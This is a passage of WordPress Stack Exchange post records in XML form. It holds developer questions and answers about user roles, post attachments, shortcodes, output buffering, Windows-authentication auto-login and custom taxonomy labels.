=&amp;gt; $str&#xA;);&#xA;$res = WP_Query($arg);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-07-14T15:21:09.380" />
  <row Id="22962" PostTypeId="1" CreationDate="2011-07-14T15:26:20.117" Score="2" ViewCount="53" Body="&lt;p&gt;I want to programmatically add the current user to a role and also remove the  current user from a role in a php page i created . am really stuck. thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="6987" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-07-14T16:17:53.827" LastActivityDate="2011-07-14T16:17:53.827" Title="How to programmatically add a user to a role?" Tags="&lt;roles&gt;&lt;capabilities&gt;&lt;user&gt;" AnswerCount="1" />
  <row Id="22963" PostTypeId="2" ParentId="22957" CreationDate="2011-07-14T15:33:06.397" Score="1" ViewCount="" Body="&lt;p&gt;You can use the &lt;code&gt;antispambot()&lt;/code&gt; function for this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php echo antispambot('mailto:my@email.com?subject=Hello there'); ?&amp;gt;&quot;&amp;gt;Some link text&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-07-14T15:33:06.397" CommentCount="1" />
  <row Id="22964" PostTypeId="2" ParentId="22962" CreationDate="2011-07-14T15:45:24.110" Score="1" ViewCount="" Body="&lt;p&gt;You can do that like this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$my_user = new WP_User( $user_id );&#xA;$my_user-&amp;gt;set_role( &quot;editor&quot; );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-07-14T15:45:24.110" />
  <row Id="22965" PostTypeId="1" AcceptedAnswerId="22968" CreationDate="2011-07-14T15:53:57.357" Score="3" ViewCount="34" Body="&lt;p&gt;is possible to get images added to a post programmatically? I am working on custom template (my first) and I need to display Images added to a post in specific way.(first image as title image and the rest of imgs only render into hidden img tags (will be visible through lightbox slideshow).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is there any function like &lt;code&gt;get_post_attachments('type'=&amp;gt;'image')&lt;/code&gt; whose output I would be able to iterate over a loop?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help&lt;/p&gt;&#xA;" OwnerUserId="7031" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-07-14T16:17:10.787" LastActivityDate="2011-07-14T16:22:51.583" Title="How to get Images included in Post" Tags="&lt;posts&gt;&lt;theme-development&gt;&lt;images&gt;&lt;templates&gt;" AnswerCount="2" />
  <row Id="22967" PostTypeId="2" ParentId="22965" CreationDate="2011-07-14T16:09:31.313" Score="1" ViewCount="" Body="&lt;p&gt;This gets all the images attached to a post :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array( 'post_type' =&amp;gt; 'attachment', 'numberposts' =&amp;gt; -1, 'post_status' =&amp;gt; null, 'post_mime_type' =&amp;gt; 'image', 'post_parent' =&amp;gt; $post-&amp;gt;ID ); &#xA;$attachments = get_posts( $args );&#xA;if ( $attachments ) {&#xA;    foreach ( $attachments as $attachment ) {&#xA;    ...do stuff&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Have a ’&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_attachment_image&quot; rel=&quot;nofollow&quot;&gt;look at wp_get_attachment_image()&lt;/a&gt;’ as well as the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_attachment_image#Related&quot; rel=&quot;nofollow&quot;&gt;related functions&lt;/a&gt;, it'll get you started.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-07-14T16:22:51.583" LastActivityDate="2011-07-14T16:22:51.583" CommentCount="2" />
  <row Id="22968" PostTypeId="2" ParentId="22965" CreationDate="2011-07-14T16:09:37.703" Score="2" ViewCount="" Body="&lt;p&gt;You can use &lt;code&gt;get_posts()&lt;/code&gt; (&lt;a href=&quot;http://codex.wordpress.org/Template_Tags/get_posts#Show_all_attachments&quot; rel=&quot;nofollow&quot;&gt;Codex ref for getting Post attachments&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$args = array( &#xA;    'post_type' =&amp;gt; 'attachment', &#xA;    'post_mime_type' =&amp;gt; 'image',&#xA;    'numberposts' =&amp;gt; -1, &#xA;    'post_status' =&amp;gt; null, &#xA;    'post_parent' =&amp;gt; $post-&amp;gt;ID &#xA;); &#xA;$attached_images = get_posts( $args );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-14T16:09:37.703" CommentCount="2" />
  <row Id="22969" PostTypeId="1" AcceptedAnswerId="22972" CreationDate="2011-07-14T16:20:28.427" Score="0" ViewCount="51" Body="&lt;p&gt;I want to get the page content (so i can parse the tags/short-codes in it), but i don't want to output the result itself to the browser (i.e. echo=0).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried get_the_content(); but its the same deal.&lt;/p&gt;&#xA;" OwnerUserId="5797" LastActivityDate="2011-07-14T16:39:38.520" Title="Get the Page Content,without generating HTML" Tags="&lt;page&gt;&lt;content&gt;&lt;the-content&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="22970" PostTypeId="2" ParentId="22969" CreationDate="2011-07-14T16:25:16.977" Score="0" ViewCount="" Body="&lt;p&gt;You can try this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$page_data = get_page( $page_id ); &#xA;$page_content = $page_data-&amp;gt;post_content;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-07-14T16:25:16.977" CommentCount="1" />
  <row Id="22971" PostTypeId="1" AcceptedAnswerId="22996" CreationDate="2011-07-14T16:25:17.800" Score="0" ViewCount="74" Body="&lt;p&gt;I am trying to call in all posts in the current category, showing their thumbnail or 'featured image'. The code below does not work, it throws out a syntax error...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            &amp;lt;?php $temp_query = $wp_query; ?&amp;gt;&#xA;            &amp;lt;?php foreach(get_the_category() as $category) {&#xA;                $cat = $category-&amp;gt;cat_ID; }&#xA;                query_posts('orderby=date&amp;amp;cat=' . $cat . '&amp;amp;order=ASC&amp;amp;posts_per_page=-1''); &#xA;            ?&amp;gt;&#xA;            &amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA;                    &amp;lt;div class=&quot;page-thumb-wrap-single&quot;&amp;gt;&#xA;                        &amp;lt;?php&#xA;                            if ( has_post_thumbnail() ) {&#xA;                                    the_post_thumbnail();&#xA;                                } else {&#xA;                                        echo '&amp;lt;img src=&quot;#&quot; alt=&quot;Something Went Wrong?&quot; title=&quot;Sorry - Something went wrong?&quot; /&amp;gt;';&#xA;                            }&#xA;                        ?&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...however, this code does retrieve the thumbnail;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            &amp;lt;?php $temp_query = $wp_query; ?&amp;gt;&#xA;            &amp;lt;?php foreach(get_the_category() as $category) {&#xA;                $cat = $category-&amp;gt;cat_ID; }&#xA;                query_posts('orderby=date&amp;amp;cat=' . $cat . '&amp;amp;order=ASC&amp;amp;posts_per_page=-1''); &#xA;            ?&amp;gt;&#xA;            &amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA;                    &amp;lt;div class=&quot;page-thumb-wrap-single&quot;&amp;gt;&#xA;                        &amp;lt;?php the_post_thumbnail(); ?&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can someone explain to me what it is i am doing wrong and why this occurs? It may also help me answer another question;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i create a condition inside this call to say 'if post has tag... do... if post has other tag... do...'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks guys!&lt;/p&gt;&#xA;" OwnerUserId="4181" LastActivityDate="2011-07-14T19:32:28.980" Title="query_posts thumbnail condition" Tags="&lt;query-posts&gt;&lt;post-thumbnails&gt;" AnswerCount="1" />
  <row Id="22972" PostTypeId="2" ParentId="22969" CreationDate="2011-07-14T16:27:27.610" Score="1" ViewCount="" Body="&lt;p&gt;Where are you doing your code parsing? If you're doing it directly in the template file, inside the Loop, then you should be using &lt;code&gt;get_the_content()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it might be more efficient to filter &lt;code&gt;the_content()&lt;/code&gt;, via the &lt;code&gt;the_content&lt;/code&gt; filter. e.g. in &lt;code&gt;functions.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mytheme_filter_the_content( $content ) {&#xA;    // add code here to filter the_content&#xA;    // which is contained in the $content variable,&#xA;    // then return $content&#xA;    return $content;&#xA;}&#xA;add_filter( 'the_content', 'mytheme_filter_the_content' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If, for whatever reason, you just want to parse &lt;code&gt;the_content()&lt;/code&gt;, pull out the shorcodes, and &lt;em&gt;execute&lt;/em&gt; them, use &lt;code&gt;do_shortcode()&lt;/code&gt; (&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/do_shortcode&quot; rel=&quot;nofollow&quot;&gt;Codex ref&lt;/a&gt;). e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$page_content = get_the_content();&#xA;$page_shortcodes = array() // ...some array that includes whatever shortcodes you found&#xA;&#xA;foreach ( $page_shortcodes as $page_shortcode ) {&#xA;    do_shortcode( $page_shortcode );&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-07-14T16:39:38.520" LastActivityDate="2011-07-14T16:39:38.520" CommentCount="3" />
  <row Id="22973" PostTypeId="2" ParentId="22889" CreationDate="2011-07-14T16:28:28.067" Score="0" ViewCount="" Body="&lt;p&gt;I would use PHP to do this task. I would generate some PHP that generates a unique identifier based on the server the code is sat on. You could use the server MAC address to generate the unique identifier. If using the MAC address as your identifier if the current host moves the site to a different server or different network interface it will trigger a different ID. You could also use server IP address as the ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now where to put that code. Well its pointless burying it in the WP core because as soon as you update WP the code would be overwritten. You could hide the code in the themes functions.php file but then the user could just switch theme and the code would be circumvented. The best place to put the code would be in what's called a Must Use Plugin. Thing is its easy to disable the code if the user knows its there. All they do is delete the file with the blocking code.&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-07-14T16:28:28.067" />
  <row Id="22974" PostTypeId="1" CreationDate="2011-07-14T16:29:59.787" Score="0" ViewCount="37" Body="&lt;p&gt;Having a bit of trouble with an image upload which is a custom meta box created using the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(current_user_can( 'add_keywords' )) {&#xA;    add_action('admin_init', 'myplugin_add_custom_box', 1);&#xA;}&#xA;&#xA;add_action('save_post', 'myplugin_save_postdata');&#xA;add_action('edit_post', 'myplugin_save_postdata');&#xA;&#xA;function myplugin_inner_custom_box($data) {&#xA;&#xA; $fire['fire_image_path'] = get_post_meta($_GET['post'], 'fire_image_path', true);&#xA;&#xA;  // Use nonce for verification&#xA;  wp_nonce_field( plugin_basename(__FILE__), 'myplugin_noncename' );&#xA;&#xA;  // The actual fields for data entry&#xA;  echo '&amp;lt;ul class=&quot;meta-table&quot;&amp;gt;';   &#xA;  echo '&amp;lt;li class=&quot;meta-label&quot;&amp;gt;&amp;lt;label for=&quot;fire_image&quot;&amp;gt;';       _e(&quot;Image&quot;, 'myplugin_textdomain' );  echo '&amp;lt;/label&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;li class=&quot;meta-field&quot;&amp;gt;';  echo '&amp;lt;input type=&quot;file&quot; id=&quot;fire_image&quot; name=&quot;fire_image&quot; size=&quot;85&quot; /&amp;gt; (&amp;lt;i&amp;gt;Current: ' . basename($fire['fire_image_path']) . '&amp;lt;/i&amp;gt;)&amp;lt;/li&amp;gt;';&#xA;  echo '&amp;lt;/ul&amp;gt;';&#xA;}&#xA;&#xA;function myplugin_save_postdata( $post_id ) {&#xA;    global $post;&#xA;&#xA;  // verify this came from the our screen and with proper authorization,&#xA;  // because save_post can be triggered at other times&#xA;&#xA;  if ( !wp_verify_nonce( $_POST['myplugin_noncename'], plugin_basename(__FILE__) ) )&#xA;      return $post_id;&#xA;&#xA;  // verify if this is an auto save routine. &#xA;  // If it is our form has not been submitted, so we dont want to do anything&#xA;  if ( defined('DOING_AUTOSAVE') &amp;amp;&amp;amp; DOING_AUTOSAVE ) &#xA;      return $post_id;&#xA;&#xA;&#xA;  // Check permissions&#xA;  if ( 'page' == $_POST['post_type'] ) &#xA;  {&#xA;    if ( !current_user_can( 'edit_page', $post_id ) )&#xA;        return $post_id;&#xA;  }&#xA;  else&#xA;  {&#xA;    if ( !current_user_can( 'edit_post', $post_id ) )&#xA;        return $post_id;&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then I save the data and create the attachement using the following (which works on the frontend where there is a duplicate form where people can submit posts themselves).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$p = wp_handle_upload( $_FILES['fire_image'], array('test_form'=&amp;gt;false));&#xA;&#xA;&#xA;&#xA;// create the attachment to the post&#xA;                $wp_filetype = wp_check_filetype(basename($p['url']), null );&#xA;                $attachment = array(&#xA;                 'post_mime_type' =&amp;gt; $wp_filetype['type'],&#xA;                 'post_title' =&amp;gt; preg_replace('/\.[^.]+$/', '', basename($p['url'])),&#xA;                 'post_content' =&amp;gt; '',&#xA;                 'post_status' =&amp;gt; 'inherit'&#xA;                );&#xA;                $attach_id = wp_insert_attachment( $attachment, $p['file'], $post_id );&#xA;                // you must first include the image.php file&#xA;                // for the function wp_generate_attachment_metadata() to work&#xA;                require_once(ABSPATH . 'wp-admin/includes/image.php');&#xA;                $attach_data = wp_generate_attachment_metadata( $attach_id, $p['url'] );&#xA;                wp_update_attachment_metadata( $attach_id, $attach_data );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but this is creating blank attachments with no title or file information? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I doing something very wrong? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dave&lt;/p&gt;&#xA;" OwnerUserId="912" LastActivityDate="2011-07-14T16:29:59.787" Title="Uploading image through custom meta box and creating attachment not working, creates blank attachment?" Tags="&lt;attachments&gt;&lt;uploads&gt;&lt;image&gt;&lt;add-meta-box&gt;" />
  <row Id="22975" PostTypeId="2" ParentId="22943" CreationDate="2011-07-14T16:34:18.250" Score="2" ViewCount="" Body="&lt;p&gt;You probably need to use &lt;a href=&quot;http://www.php.net/manual/en/ref.outcontrol.php&quot; rel=&quot;nofollow&quot;&gt;output buffering&lt;/a&gt;, if I understand your question correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ob_start();&#xA;dynamic_sidebar('sidebar-id');&#xA;$sidebar = ob_get_contents();&#xA;ob_end_clean();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That will put the output of the sidebar into the variable $sidebar, which you can then process and return from your filter on the page content.&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditorDisplayName="" LastEditDate="2011-08-31T21:16:39.943" LastActivityDate="2011-08-31T21:16:39.943" CommentCount="1" />
  <row Id="22976" PostTypeId="2" ParentId="22872" CreationDate="2011-07-14T16:51:16.677" Score="-1" ViewCount="" Body="&lt;p&gt;There is nothing to worry about here. By doing the above you can see the output is changed to something that is safe and is not going to cause any danger to the user or your server. If you IT team think that's something to worry about then they shouldn't be dealing with security aspect of the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your best defence against website hacking is making sure your WordPress installation is the most up to date as possible and as soon as a plugin update is out, upgrade to it. Also make sure you have regular backups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also a tonne of plugins out there that harden WordPress &lt;a href=&quot;http://wordpress.org/extend/plugins/search.php?q=security&amp;amp;sort=&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/search.php?q=security&amp;amp;sort=&lt;/a&gt; if you feel the need to go that one step further.&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-07-14T16:51:16.677" CommentCount="1" />
  <row Id="22977" PostTypeId="1" CreationDate="2011-07-14T16:53:55.767" Score="0" ViewCount="51" Body="&lt;p&gt;I've been playing around with ajax in wordpress and I've gotten my efforts to work on both back and front-end without too much trouble, however I've run into a problem getting post shortcodes to run when loading &lt;code&gt;post_content&lt;/code&gt; to the front-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I've noticed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;apply_filters( 'the_content', $content );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;..will run but it only wraps my shortcode in &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tags, the way it does in the admin.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;do_shortcode()&lt;/code&gt; will work when using &lt;code&gt;[gallery]&lt;/code&gt; or other native wordpress shortcodes, but not the one i've registered in my plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My plugin shortcode does however run in the normal wordpress post page (not ajax).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having read about this, I'm aware that &lt;strong&gt;admin-ajax.php&lt;/strong&gt; has &lt;strong&gt;WP_ADMIN&lt;/strong&gt; set to &lt;strong&gt;true&lt;/strong&gt; and so I think that what happening is that &lt;code&gt;apply_filters( 'the_content', $content );&lt;/code&gt; runs differently depending on whether &lt;code&gt;is_admin&lt;/code&gt; or not.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either that or native shortcodes and plugin shortcodes &lt;code&gt;add_shortcode()&lt;/code&gt; are registered differently and not accessible in the same places.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any insight on what's going on here?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="7032" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-07-15T08:49:36.693" LastActivityDate="2011-08-27T16:35:31.687" Title="Help with shortcode in admin-ajax" Tags="&lt;admin&gt;&lt;shortcode&gt;&lt;ajax&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="22978" PostTypeId="2" ParentId="22866" CreationDate="2011-07-14T16:56:36.607" Score="1" ViewCount="" Body="&lt;p&gt;Code you are after:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$wp_user_search = new WP_User_Query( array( 'role' =&amp;gt; 'administrator' ) );&#xA;$admins = $wp_user_search-&amp;gt;get_results();&#xA;$admin_ids = array();&#xA;foreach($admins as $admin) {&#xA;    $admin_ids[] = $admin-&amp;gt;ID;&#xA;}&#xA;$args = implode(',', $admin_ids);&#xA;query_posts(&quot;author=$args&quot;);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-07-14T16:56:36.607" />
  <row Id="22979" PostTypeId="2" ParentId="22865" CreationDate="2011-07-14T17:06:23.027" Score="0" ViewCount="" Body="&lt;p&gt;If using Windows Authentication with IIS PHP can read the current authenticated user thats logged on from &lt;code&gt;$_SERVER[&quot;LOGON_USER&quot;];&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is set and the user is not getting a HTTP auth prompt you can assume the user credentials are correct. So with some WP coding you could read that &lt;code&gt;$_SERVER['LOGON_USER']&lt;/code&gt; and if not logged into WP auto log them in with that username.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;place in theme functions file or in a MU plugins file.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function auto_login() {&#xA;    if (!is_user_logged_in() &amp;amp;&amp;amp; isset($_SERVER['LOGON_USER'])) {&#xA;        $user_login = $_SERVER['LOGON_USER'];&#xA;        $user = get_userdatabylogin($user_login);&#xA;        $user_id = $user-&amp;gt;ID;&#xA;        wp_set_current_user($user_id, $user_login);&#xA;        wp_set_auth_cookie($user_id);&#xA;        do_action('wp_login', $user_login);&#xA;    }&#xA;}&#xA;add_action('init', 'auto_login');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may need to do some further tweaking to the &lt;code&gt;$user_login&lt;/code&gt; variable so that you get the correct username that matches in the WP table.&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-07-14T17:06:23.027" CommentCount="1" />
  <row Id="22980" PostTypeId="1" CreationDate="2011-07-14T17:08:43.570" Score="0" ViewCount="55" Body="&lt;p&gt;For some strange reason, comments aren't being displayed when a user is &lt;em&gt;not&lt;/em&gt; logged in. I've done some extensive experimenting with comments.php without any success. Here's a reference to the example page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gycweb.org/by-this-will-all-men-know/&quot; rel=&quot;nofollow&quot;&gt;http://gycweb.org/by-this-will-all-men-know/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are logged in, you would see 3 comments. If you are not logged in, nothing but the form. Also, to add to the mystery, when &quot;editing&quot; the post from within the admin and clicking &quot;show comments&quot;, it tries and is not able to load the comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears that the &quot;have_comments&quot; conditional is failing for logged out users. I've also tried getting wp_list_comments to return the list with no success. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked for plugin conflicts and nothing obvious yet. Have any of you run into this? Any obvious answers? &lt;/p&gt;&#xA;" OwnerUserId="1766" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-07-17T17:41:20.533" LastActivityDate="2011-07-17T21:53:16.453" Title="have_comments not true for logged out visitors?" Tags="&lt;comments&gt;" AnswerCount="1" CommentCount="9" />
  <row Id="22981" PostTypeId="1" CreationDate="2011-07-09T12:36:30.980" Score="0" ViewCount="14" Body="&lt;p&gt;This is the second time it has happened, my wordpress installation suddenly stops working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I visit the blog I'll get an error message like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;&#xA;Warning: call_user_func_array() expects parameter 1 to be a valid callback, function '_wp_admin_bar_init' not found or invalid function name in /home/www/subdomain/skerit/wp-includes/plugin.php on line 395&#xA;&#xA;Fatal error: Call to undefined function mediatags_get_taxonomy_labels() in /home/www/subdomain/skerit/wp-content/plugins/media-tags/media_tags.php on line 100&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As if &lt;em&gt;something&lt;/em&gt; is missing, as if some file isn't being included. &lt;strong&gt;But it is!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might think &quot;that's clearly a plugin problem&quot;, but last time it reported something was wrong with the menu bar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing I need to do is reboot and all is well again. But that's not a very good solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got multiple sites on this vps (Regular pages, magento installation, ...) and this is the only one that misbehaves.&lt;/p&gt;&#xA;" LastActivityDate="2011-07-14T17:13:11.823" Title="Wordpress installation stops working" Tags="&lt;apache&gt;" CommentCount="2" />
  <row Id="22982" PostTypeId="1" AcceptedAnswerId="22986" CreationDate="2011-07-14T17:33:21.517" Score="0" ViewCount="22" Body="&lt;p&gt;I created two custom taxonomies (Majors and Seminar Types) related my custom post type CEMB Seminar and the labels on the menu, instead of showing the labels I put in are showing &quot;Post Tags&quot;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See a screenshot here (I don't have enough reputation to post pics yet): &lt;a href=&quot;https://picasaweb.google.com/112518288555484095597/WordPressIssues?authuser=0&amp;amp;authkey=Gv1sRgCNeKmKmS2J_ccQ&amp;amp;feat=directlink&quot; rel=&quot;nofollow&quot;&gt;https://picasaweb.google.com/112518288555484095597/WordPressIssues?authuser=0&amp;amp;authkey=Gv1sRgCNeKmKmS2J_ccQ&amp;amp;feat=directlink&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code I used to create the custom taxonomies:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Register the Majors taxonomy&#xA;register_taxonomy( 'cemb_seminar_major', array( 'cemb_seminar' ), $major_args );&#xA;&#xA;// Register the Seminar Types taxonomy&#xA;register_taxonomy( 'cemb_seminar_type', array( 'cemb_seminar' ), $types_args );&#xA;&#xA;// Set up the Majors arguments&#xA;$major_args = array( &#xA;    'rewrite' =&amp;gt; array(&#xA;        'slug' =&amp;gt; 'major',&#xA;        'with_front' =&amp;gt; 'false'&#xA;    ),&#xA;    'labels' =&amp;gt; array(&#xA;        'name' =&amp;gt; 'Majors',&#xA;        'singular_name' =&amp;gt; 'Major'&#xA;    )       &#xA;);&#xA;&#xA;// Set up the Types arguments&#xA;$types_args = array( &#xA;    'rewrite' =&amp;gt; array(&#xA;        'slug' =&amp;gt; 'seminar-type',&#xA;        'with_front' =&amp;gt; 'false'&#xA;    ),&#xA;    'labels' =&amp;gt; array(&#xA;        'name' =&amp;gt; 'Seminar Types',&#xA;        'singular_name' =&amp;gt; 'Seminar Type'&#xA;    )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I thought maybe since I didn't include all the labels, it wasn't creating the labels correctly, so I later added:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'labels' =&amp;gt; array(&#xA;            'name' =&amp;gt; _x( 'Majors', 'taxonomy general name' ),&#xA;            'singular_name' =&amp;gt; _x( 'Major', 'taxonomy singular name' ),&#xA;            'search_items' =&amp;gt; __( 'Search Majors' ),&#xA;            'popular_items' =&amp;gt; __( 'Popular Majors' ),&#xA;            'all_items' =&amp;gt; __( 'All Majors' ),&#xA;            'edit_item' =&amp;gt; __( 'Edit Major' ),&#xA;            'update_item' =&amp;gt; __( 'Update Major' ),&#xA;            'add_new_item' =&amp;gt; __( 'Add New Major' ),&#xA;            'new_item_name' =&amp;gt; __( 'New Major' ),&#xA;            'separate_items_with_commas' =&amp;gt; __( 'Separate majors with commas' ),&#xA;            'add_or_remove_items' =&amp;gt; __( 'Add or remove majors' ),&#xA;            'choose_from_most_used' =&amp;gt; __( 'Choose from the most popular majors' )&#xA;        )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'labels' =&amp;gt; array(&#xA;            'name' =&amp;gt; _x( 'Seminar Types', 'taxonomy general name' ),&#xA;            'singular_name' =&amp;gt; _x( 'Seminar Type', 'taxonomy singular name' ),&#xA;            'search_items' =&amp;gt; __( 'Search Seminar Types' ),&#xA;            'popular_items' =&amp;gt; __( 'Popular Seminar Types' ),&#xA;            'all_items' =&amp;gt; __( 'All Seminar Types' ),&#xA;            'edit_item' =&amp;gt; __( 'Edit Seminar Type' ),&#xA;            'update_item' =&amp;gt; __( 'Update Seminar Type' ),&#xA;            'add_new_item' =&amp;gt; __( 'Add New Seminar Type' ),&#xA;            'new_item_name' =&amp;gt; __( 'New Seminar Type' ),&#xA;            'separate_items_with_commas' =&amp;gt; __( 'Separate seminar types with commas' ),&#xA;            'add_or_remove_items' =&amp;gt; __( 'Add or remove seminar types' ),&#xA;            'choose_from_most_used' =&amp;gt; __( 'Choose from the most popular seminar types' )&#xA;        )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But neither changed helped.  I noticed my custom post type also didn't have all the labels customized, so I added the labels to that code and the menu changed to reflect the newly added labels, but the custom taxonomies won't do that.  What did I do wrong and how do I fix it?&lt;/p&gt;&#xA;" OwnerUserId="6064" LastActivityDate="2011-07-14T18:46:34.013" Title="Custom taxonomy labels won't display" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;" AnswerCount="1" CommentCount="1" />
